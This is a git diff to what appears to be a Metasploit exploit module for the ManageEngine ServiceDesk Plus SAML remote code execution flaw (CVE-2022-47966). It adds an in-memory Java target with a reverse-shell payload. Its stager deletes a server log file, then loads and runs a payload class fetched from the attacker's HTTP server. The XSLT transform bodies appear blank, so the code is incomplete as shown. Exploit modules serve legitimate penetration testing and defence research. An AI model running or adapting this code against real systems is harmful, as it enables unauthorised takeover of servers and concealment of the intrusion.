diff --git a/modules/exploits/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966.rb b/modules/exploits/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966.rb
index 8f23c3a766aa..0bf4d19e97df 100644
--- a/modules/exploits/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966.rb
+++ b/modules/exploits/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966.rb
@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
+ include Msf::Exploit::Remote::Java::HTTP::ClassLoader
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
@@ -37,18 +38,25 @@ def initialize(info = {})
['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],
['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']
],
- 'Platform' => ['win', 'unix', 'linux'],
- 'Payload' => {
- 'BadChars' => "\x27"
- },
+ 'Platform' => ['win', 'unix', 'linux', 'java'],
'Targets' => [
+ [
+ 'Java (in-memory)',
+ {
+ 'Type' => :java,
+ 'Platform' => 'java',
+ 'Arch' => ARCH_JAVA,
+ 'DefaultOptions' => { 'Payload' => 'java/shell_reverse_tcp' }
+ },
+ ],
[
'Windows EXE Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_dropper,
- 'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
+ 'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' },
+ 'Payload' => { 'BadChars' => "\x27" }
}
],
[
@@ -57,7 +65,8 @@ def initialize(info = {})
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_command,
- 'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
+ 'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' },
+ 'Payload' => { 'BadChars' => "\x27" }
}
],
[
@@ -66,7 +75,8 @@ def initialize(info = {})
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
- 'DefaultOptions' => { 'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp' }
+ 'DefaultOptions' => { 'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp' },
+ 'Payload' => { 'BadChars' => "\x27" }
}
],
[
@@ -76,14 +86,15 @@ def initialize(info = {})
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
- 'CmdStagerFlavor' => %w[curl wget echo lwprequest]
+ 'CmdStagerFlavor' => %w[curl wget echo lwprequest],
+ 'Payload' => { 'BadChars' => "\x27" }
}
]
],
'DefaultOptions' => {
'RPORT' => 8080
},
- 'DefaultTarget' => 1,
+ 'DefaultTarget' => 0,
'DisclosureDate' => '2023-01-10',
'Notes' => {
'Stability' => [CRASH_SAFE,],
@@ -137,6 +148,13 @@ def encode_begin(real_payload, reqs)
def exploit
case target['Type']
+ when :java
+ # Start the HTTP server to serve the payload
+ start_service
+ # Trigger a loadClass request via java.net.URLClassLoader
+ trigger_urlclassloader
+ # Handle the payload
+ handler
when :windows_command, :unix_cmd
execute_command(payload.encoded)
when :windows_dropper, :linux_dropper
@@ -144,6 +162,42 @@ def exploit
end
end
+ def trigger_urlclassloader
+ # Here we construct a XSLT transform to load a Java payload via URLClassLoader.
+ url = get_uri
+
+ vars = Rex::RandomIdentifier::Generator.new
+
+ # stager for javascript engine
+ java_stager = <<~EOS
+ var #{vars[:file]} = Java.type("java.io.File");
+ new #{vars[:file]}("../logs/serverout0.txt").delete();
+ var #{vars[:str_arr]} = Java.type("java.lang.String[]");
+ var c = new java.net.URLClassLoader([new java.net.URL("#{url}")]).loadClass("metasploit.Payload");
+ c.getMethod("main", java.lang.Class.forName("[Ljava.lang.String;")).invoke(null, [new #{vars[:str_arr]}(1)]);
+ EOS
+
+ transform = <<~EOT
+
+
+
+
+
+
+
+
+
+
+
+
+
+ EOT
+ send_transform(transform)
+ end
+
def execute_command(cmd, _opts = {})
case target['Type']
when :windows_dropper
@@ -154,14 +208,31 @@ def execute_command(cmd, _opts = {})
end
cmd = cmd.encode(xml: :attr).gsub('"', '')
+ vars = Rex::RandomIdentifier::Generator.new
+
+ transform = <<~EOT
+
+
+
+
+
+
+
+
+
+
+
+
+
+ EOT
+
+ send_transform(transform)
+ end
+
+ def send_transform(transform)
assertion_id = "_#{SecureRandom.uuid}"
- # Randomize variable names and make sure they are all different using a Set
- vars = Set.new
- loop do
- vars << Rex::Text.rand_text_alpha_lower(5..8)
- break unless vars.size < 3
- end
- vars = vars.to_a
saml = <<~EOS
-
-
-
-
-
-
-
-
-
-
-
-
-
+ #{transform}
#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}
@@ -213,7 +270,10 @@ def execute_command(cmd, _opts = {})
}
})
- unless res&.code == 500
+ # Java payload returns a nil response on successful execution of payload
+ if target['Type'] == :java && res.nil?
+ print_status('Exploit completed.')
+ elsif res&.code != 500
lines = res.get_html_document.xpath('//body').text.lines.reject { |l| l.strip.empty? }.map(&:strip)
unless lines.any? { |l| l.include?('URL blocked as maximum access limit for the page is exceeded') }
elog("Unkown error returned:\n#{lines.join("\n")}")
@@ -225,4 +285,16 @@ def execute_command(cmd, _opts = {})
res
end
+ def on_request_uri(cli, request)
+ case target['Type']
+ when :java
+ super(cli, request)
+ else
+ client = cli.peerhost
+ print_status("Client #{client} requested #{request.uri}")
+ print_status("Sending payload to #{client}")
+ send_response(cli, exe)
+ end
+ end
+
end